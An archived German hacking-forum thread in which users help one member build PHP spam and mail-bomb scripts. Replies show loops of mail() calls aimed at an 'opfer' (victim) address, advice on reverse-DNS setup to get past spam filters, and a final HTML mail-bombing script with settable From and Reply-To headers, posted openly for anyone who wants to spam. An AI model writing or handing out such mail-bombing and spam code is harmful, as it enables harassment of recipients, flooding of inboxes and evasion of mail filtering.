Archiv verlassen und diese Seite im Standarddesign anzeigen : [S] Suche einen funktionsreichen Mail Spammer
kalachnikov
07.02.2010, 16:52
Hallo,
wie der Titel schon sagt bin ich auf der Suche nach einem guten Mail Spammer mit dem man auch Emails aus einer Liste verschicken kann.
Wäre euch sehr dankbar, wenn ihr einen guten Mail Spammer kennt..
Wenn nicht muss ich mir halt einen eigenen schreiben :)
Hi hab zwar keinen Source oder so für dich aber mit ein paar PHP Kentnisse könntest du dir die Mail PEAR Klasse mal anschauen damit sollte es ein leichtes sein so etwas umzusetzten..
lg
fopen(),fread(),fclose(),explode()=emails aus einer liste auslesen
maile()=mailen
Wenn Du eine Liste hast, in der pro Zeile eine eMailadresse steht dann geht es auch einfacher:
<?php
$liste = "emails.txt";
foreach(file($liste) AS $line) {
$mail = trim($line); //Ggf. unnoetige Zeichen wie PHP-Umbrueche oder Tabulatoren entfernen
//Mail an $mail verschicken...
}
?>
file() (http://de.php.net/manual/de/function.file.php) liest eine Datei Zeile für Zeile in ein Array ein. Durch die foreach() (http://de.php.net/manual/de/control-structures.foreach.php)-Schleife kannst Du dann mit jeder Zeile eine Aktion durchführen. trim() (http://de.php.net/manual/de/function.trim.php) entfernt \r, \n, \t und ähnliche Zeichen, die z.B. für Zeilenumbrüche gedacht sind.
Wie Du die eMail verschickst wollte ich gerade nicht mit in den Code schreiben, da ich das nicht all zu oft mache.
Helfen können Dir auf alle Fälle das Mailbuch (http://de.php.net/manual/de/book.mail.php) und ins besondere die Funktion mail() (http://de.php.net/manual/de/function.mail.php).
Ich hoffe, das hilft Dir.
PS.: Ich habe die Funktionen und Bücher alle verlinkt, damit Du sie Dir ansiehst und nicht blind irgendeinen Sourcecode nimmst ;).
par0noid
13.02.2010, 11:36
es gibt eine Mail funktion
mail(string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]])
BSP:
mail("opfer@mail.de", "SPAM", "Du wurdest gespammt");
Das ganze als Spammer z.B. wenn du 20 Mails schicken willst:
for($i = 0; $i < 20; $i++) {
mail("opfer@mail.de", "SPAM", "Du wurdest gespammt");
}
Die Mail wird über den auf dem Server installierten SMTP Server versendet.
Dieser muss über einen akzeptierten ReverseDNS-Eintrag verfügen damit die Email zu allen anderen Mailadressen bsp. Web, GMX - gesendet werden darf, sonst wird sie nämlich gefiltert.
Eine andere Möglichkeit ist die Verwendung der IMAP (http://www.php.net/manual/de/book.imap.php) Klasse in PHP.
Viel Spaß
-Par0noid
kalachnikov
13.02.2010, 15:35
ok, danke. Werde das mal demnächst in PHP realisieren.
@par0noid (http://free-hack.com/member.php?u=36177)
a propos Mailbomber..habe ich gestern einen geschrieben..;)
<?php
$i = 0 ;
while($i < 20){ /*2000 is a number of messages*/
mail("test@test.de",
"juhu@gmx.de",
"subject",
"body\n hello y bombarding your mail box\n bye\n");
$i = $i + 1 ;
echo "messages send are $i" ;
}
echo "mailbombing finish" ;
?>
$i = $i + 1 ;
Dafür gibt es $i++ ;). Ist quasi eine Kurzform für $i = $i+1. Nur mal so nebenbei.
Und eine for()-Schleife wie in Par0noid seinem Beispiel ist in so einem Fall oft einfacher und schöner ;).
Ansonsten viel Erfolg.
par0noid
14.02.2010, 21:47
das ist ein Inkrementierungsoperator *klugscheiß* :D
@kalachnikov: bei Schleifen wo du vor dem Durchlauf ein Ende definieren kannst und deren Aufgabe darin liegt zu zählen verwendet man normalerweise immer eine For-Schleife.
Aufgrund der Parameter etc.
Kein Muss, aber man sollte sich das so angewöhnen
kalachnikov
14.02.2010, 22:00
ja habs doch schon längst begriffen.
[...]
echo "messages send are $i" ;
[...]
Kleiner Tipp: Vielleicht solltest du bei Deutsch bleiben!
kalachnikov
14.02.2010, 22:21
hab das jetzt mal so gemacht..Für alle die spammen wollen, könnt ihr das gerne benutzen.
<?php
$mailtext = '<html>
<head>
<title>Du wurdest gebammt!</title>
</head>
<body>
<h2>BAMMMBAMMBAMMBAMBMABAMBAMBAMBAMBAM</h2>
</body>
</html>
';
$empfaenger = ""; //Mailadresse
$absender = "";
$betreff = "";
$antwortan = "";
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html; charset=iso-8859-1\r\n";
$header .= "From: $absender\r\n";
$header .= "Reply-To: $antwortan\r\n";
// $header .= "Cc: $cc\r\n"; // falls an CC gesendet werden soll
$header .= "X-Mailer: PHP ". phpversion();
for($i = 0; $i < 5; $i++) {
mail( $empfaenger,
$betreff,
$mailtext,
$header);
}
echo "Opfer wurde zu Ende gebombt!" ;
?>
Powered by vBulletin® Copyright ©2024 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.